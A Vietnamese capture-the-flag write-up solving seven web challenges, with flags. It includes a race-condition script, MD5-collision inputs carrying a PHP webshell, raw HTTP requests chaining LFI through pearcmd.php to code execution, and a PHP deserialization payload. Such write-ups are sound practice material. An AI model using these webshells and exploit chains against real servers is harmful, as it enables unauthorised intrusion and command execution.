## WEB ### Be Positive Một bài liên quan đến IDOR, ở đây chúng ta sẽ đăng nhập dưới 2 tài khoản là `alice:alice` và `bob:bob`. ![](https://hackmd.io/_uploads/B1LVGoath.png) Tài khoản `bob` hay `alice` có $1500 và trong khi đó cần $3001 để có flag. Ở đây lợi dụng chức năng `Transfer`, setup số tiền là âm, lúc đó tài khoản người dùng sẽ được cộng thêm vào. ![](https://hackmd.io/_uploads/Sk5lQjaFn.png) ![](https://hackmd.io/_uploads/HJhbmj6Yn.png) Flag: `CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_adfa1e86f4b1948f03ffcaa99c38317d}` ### Slow Down Tương tự như `Be Positive` nhưng ở `Transfer` đã filter số âm. #### Cách 1: Tác giả đã hint là `Slow Down` nên ở bài này chúng ta có thể tận dụng lỗi `Race Conditions`. Tạo 2 trang khác nhau, đăng nhập cùng 1 loại tài khoản, sau đó chuyển đồng thời cho tài khoản còn lại. ![](https://hackmd.io/_uploads/H1S5KiTtn.png) Code tham khảo: ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://slow-down-44f3a156.dailycookie.cloud/?action=transfer', cookies={"PHPSESSID": "e4dbc35e8795f3889acff05a0baff65d"}, data={"amount": "100.849%","recipient":"alice"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` #### Cách 2: Lợi dụng việc cast của PHP, ta có thể sử dụng cách sau: ![](https://hackmd.io/_uploads/B1gS5jTK2.png) ![](https://hackmd.io/_uploads/SkWgnjpKn.png) Flag: `CHH{ea5y_RaCe_CONd17iOn_45fc473c70829ee2064408ad4b969571}` `Ngoại lai:` ![](https://hackmd.io/_uploads/H1UlAs6K2.png) ### Magic Login Một bài liên quan đến `Type Juggling`. Check qua 1 chút trang web thì ta có được: ![](https://hackmd.io/_uploads/ryjQ41mq3.png) `$pass` được băm với hash `sha256`, sau đó sẽ `Loose comparison` với 0. Ta có: ![](https://hackmd.io/_uploads/HJZvCkX9h.png) Điền vào rồi sẽ đến được trang Upload file, sử dụng file shell và lấy flag. Flag: `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_1fd2c2d351c09b6f835ad27db97e9847}` ### Magic Login Harder Vào bài ta sẽ đến 1 trang đăng nhập, check source để hiểu thêm về cơ chế: ```php <?php if(isset($_POST["submit"])){ $username = base64_decode($_POST['username']); $password = base64_decode($_POST['password']); if(($username == $password)){ echo 'Username and password are not the same'; } else if((md5($username)===md5($password))){ $_SESSION['username'] = $username; header('Location: admin.php?file=1.txt'); } else { echo 'Username and password are wrong'; } } ?> ``` Yêu cầu về `$username` và `$password` khác nhau nhưng hash md5 cần phải giống nhau. Research 1 chút ta sẽ có: https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value ```python import base64 x = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70" y = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70" x = bytes.fromhex(x) y = bytes.fromhex(y) print(base64.b64encode(x)) print(base64.b64encode(y)) ``` Sau khi đăng nhập vào trang, ta sẽ được dẫn tới đường dẫn `/admin.php?file=1.txt`. Check source: ```php <?php header('Content-Type: text/html; charset=utf-8'); session_start(); if($_SESSION['username'] != null){ if(isset($_GET['file'])){ $file = $_GET['file']; include($file); } } else{ die("Only admin can use this"); } ?> ``` Qua trên ta có thể tận dụng được lỗi LFI. Mình tham khảo qua một số WU và rút ra được 2 hướng giải. #### Cách 1: Sử dụng `proc/self/fd/N`. `proc`: là một file system chứa thông tin của process hiện tại. `self`: để lấy information about itself, self giúp chỉ hướng tới process hiện tại mà không cần process id. Có thể thay self bằng các PID khác. Nguồn: + https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal#path-traversal + https://man7.org/linux/man-pages/man5/proc.5.html + https://unix.stackexchange.com/questions/676683/what-does-the-output-of-ll-proc-self-fd-from-ll-dev-fd-mean Bruteforce sẽ tìm được N=4: ![](https://hackmd.io/_uploads/ByKzU449n.png) Đoạn text đưa ra sẽ là nội dung của `username`. Thực hiện thay đổi nội dung của `username`: ```python import hashlib import base64 x = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70" y = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70" x = bytes.fromhex(x) y = bytes.fromhex(y) z = b"<?php system($_GET['cmd']);?>" print(base64.b64encode(x+z)) print(base64.b64encode(y+z)) ``` ![](https://hackmd.io/_uploads/HJKIRVE93.png) #### Cách 2: Sử dụng `/tmp/sess_<PHPSESSID>`. Khi thử deploy trên Docker ta sẽ thấy: `session.upload_progress.enabled => On => On`. Theo như research: Sau khi biết được chức năng của php là ghi vào session, mà session mặc định được lưu ở `/tmp/sess_sessid`. ![](https://hackmd.io/_uploads/rJQnPh1sh.png) Truy cập vào path: ![](https://hackmd.io/_uploads/BJUikHE5h.png) Upshell thông qua như `username` như ở trên. #### Cách 3: `LFI2RCE via Pearcmd.php`. PEAR là viết tắt của PHP Extension and Application Repository. PEAR có đường dẫn cài đặt mặc định là: `/usr/local/lib/php/pearcmd.php` Điều kiện để làm theo phương pháp này là tham số `register_argc_argv` trong `php.ini` để `ON`. Khi tham số được bật thì có thể truyền thông số từ web thông qua `$_SERVER['argv']`. Mình sẽ demo nhanh qua payload, đi chuyên sâu vào mình sẽ cố gắng phân tích ở bài khác ``` GET /admin.php?file=+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['cmd']);?>+/tmp/nemnem.php HTTP/1.1 Host: 103.97.125.53:31272 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=116d3e88b0b9adad0747e32655d3ad7f Connection: close ``` Truy cập vào file để chạy shell ``` GET /admin.php?file=/tmp/nemnem.php&cmd=ls+/ HTTP/1.1 Host: 103.97.125.53:31272 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=116d3e88b0b9adad0747e32655d3ad7f Connection: close ``` Flag: `CHH{7yPE_jU66lin9_hArdEr_08a380c67b5e68a560e9719e58f93be8}` ### Pass Code Một bài dạng JS Obfuscator. Đầu tiên sử dụng https://beautifier.io/ để làm đẹp lại code.Ta sẽ thấy sử dụng thuật toán AES để mã hóa ![](https://hackmd.io/_uploads/Sk19Tggsn.png) Tiến hành đặt breakpoint và tìm `key`: ![](https://hackmd.io/_uploads/S1On6xlon.png) Flag:`CHH{jAvAscRIP7_o8FuSCaTe_987245a059b42f3ad64ad3e9e5cc15eb}` Bonus: có thể dùng Deobfuscator: https://deobfuscate.relative.im/ ![](https://hackmd.io/_uploads/BJB_yWli2.png) ### Suck it Bài này sẽ đưa cho chúng ta giao diện là 1 kênh chat: ![](https://hackmd.io/_uploads/BkCs-0Qs3.png) Check source để có đương phương án giải: ```javascript socket.on("private message", ({ content, to }) => { const message = { content, from: socket.userID, to, }; switch(to){ case "thangbanthan": message.content = "T đang bận, 5p sau t trả lời. Sau 5p, k thấy trả lời thì xem lại tn này."; message.from = to; message.to = socket.userID socket.emit("private message", message); break; case "nguoiyeudonphuong": const cachcrushtraloi = ['uh','ok','um','seen','seen','seen','seen','seen','seen','seen','seen'] var reg1 = /n\s*?g\s*?.\s*?.\s*?i\s*?y?\s*?.\s*?u/g var reg2 = /b\s*?.\s*?n\s*?g?\s*?.\s*?i/g message.content=cachcrushtraloi[Math.floor(Math.random() * cachcrushtraloi.length)]; if(content.match(reg1)||content.match(reg2)){ "chê"; } message.from = to; message.to = socket.userID socket.emit("private message", message); break; case "nguoiyeucuaADMIN": if(socket.userID !== "ADMIN"){ message.content="I do not associate with n.....on-Admin"; }else{ message.content="Đêm qua em tuyệt lắm: \n"+FLAG; } message.from = to; message.to = socket.userID socket.emit("private message", message); break; case "buctuong": break; default: socket.to(to).to(socket.userID).emit("private message", message); messageStore.saveMessage(message); } }); ``` Vậy là chúng ta cần nhắn tin cho `nguoiyencuaAMIN` dưới `userID` của ADMIN. ```javascript io.on("connection", async (socket) => { // persist session sessionStore.saveSession(socket.sessionID, { userID: socket.userID, username: socket.username, connected: true, }); ``` ```javascript sessionStore.saveSession(adminID, { userID: 'ADMIN', username: 'Admin', connected: false, }); ``` Mục tiêu là cần đăng nhập dưới `sessionID` của ADMIN, sau đó nhắn tin cho người yêu để lấy được FLAG. Lợi dụng đoạn code dưới đây để lấy được`sessionID`: ```javascript socket.on("force disconnect",async (userID,secretKey)=>{ // check valid account if (secretKey !== "574a94b04f303f5663e833b883cd2b23"){ socket.emit("This secret key is wrong.") } else{ const targetSocket = await sessionStore.findSessionsByUserID(userID); const matchingSockets = await io.in(targetSocket.userID).allSockets(); const isDisconnected = matchingSockets.size === 0; if (isDisconnected) { // notify other users socket.broadcast.emit("user disconnected", targetSocket.userID); // update the connection status of the session socket.emit(targetSocket.sessionID); sessionStore.saveSession(targetSocket.sessionID, { userID: targetSocket.userID, username:targetSocket.username, connected: false, }); }}; }); ``` Khi thực hiện việc `force disconnect`, ta có thể kick bất kì ai ra, sau đó phía sever sẽ gửi lại cho ta `sessionID` của người đó. ![](https://hackmd.io/_uploads/HyQcSCXjn.png) Đăng nhập dưới `sessionID` của ADMIN. ![](https://hackmd.io/_uploads/H1BVLC7o2.png) ![](https://hackmd.io/_uploads/ryqBLCms2.png) Flag:`CHH{H4ve_y0u_re4d_th3_m3ssage_d4599feef94942be665925aea8e50a9e}` ### Video Link Extractor Một bài với mức độ Hard trong CHH, chúng ta cùng xem qua nhé. ![](https://hackmd.io/_uploads/rJQYuRXih.png) Trang web có chức năng cho phép chúng ta Extract video, cùng check qua source để biết thêm về cách hoạt động. ```php error_reporting(E_ERROR | E_PARSE); require("utils.php"); $utils = new Utils(); // tạo mới Utils $parameter = $_GET; // Mảng para $utils ->_file = "format.php"; // Gọi đến trang format và sử dụng wake up để include vào trang index.php if (isset($parameter['mode'])) { switch ($parameter['mode']) { case "extract": // trích xuất $utils ->_id = $parameter['id']; $utils ->_host = $parameter['host']; $result = $utils->extract_video_information(); print($utils); break; case "redirect": // chuyển hướng $url = $parameter['url']; header("Location: ".$url); } } ``` Ở `index.php` chúng ta sẽ có 2 lựa chọn của `mode` là `extract` và `redirect`. Việc sử dụng `redirect` sẽ thiết lập `Location`, điều hướng trang web cho ta. ```php public function __wakeup(){ try { // check if format file is exists? include $this->_file; } catch (Exception $e) { throw $e; } } ``` ```php case "local": //$link = $this->_id; $link = "http://localhost:1337/".$this->_id; // $link = "http://localhost:1337/?mode=redirect&url=..." $serial_obj = file_get_contents($link); $content = unserialize($serial_obj); break; ``` Vậy hướng giải bài này là chúng ta sẽ điều chỉnh `$this->_id` sao cho ghi thực hiện `file_get_contents` của case `local` sẽ kích hoạt `mode == "redirect"`, điều hướng tới trang chúng ta chứa malicius code, `unserialize` để gọi đến `__wakeup()` và thực hiện việc `include $this->_file`. Code exploit: ```php <?php class Utils{ public $_file; public function __construct() { $this->_file = "php://filter/convert.base64-encode/resource=flag.php"; } } $a = new Utils; echo serialize($a); // O:5:"Utils":1:{s:5:"_file";s:52:"php://filter/convert.base64-encode/resource=flag.php";} ?> ``` ![](https://hackmd.io/_uploads/ByXDvyEj2.png) Thực hiện việc Inject vào url: ![](https://hackmd.io/_uploads/H1ORPJVoh.png) Flag:`CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_5826741fbcb9a872d3a8be90832bb02a}`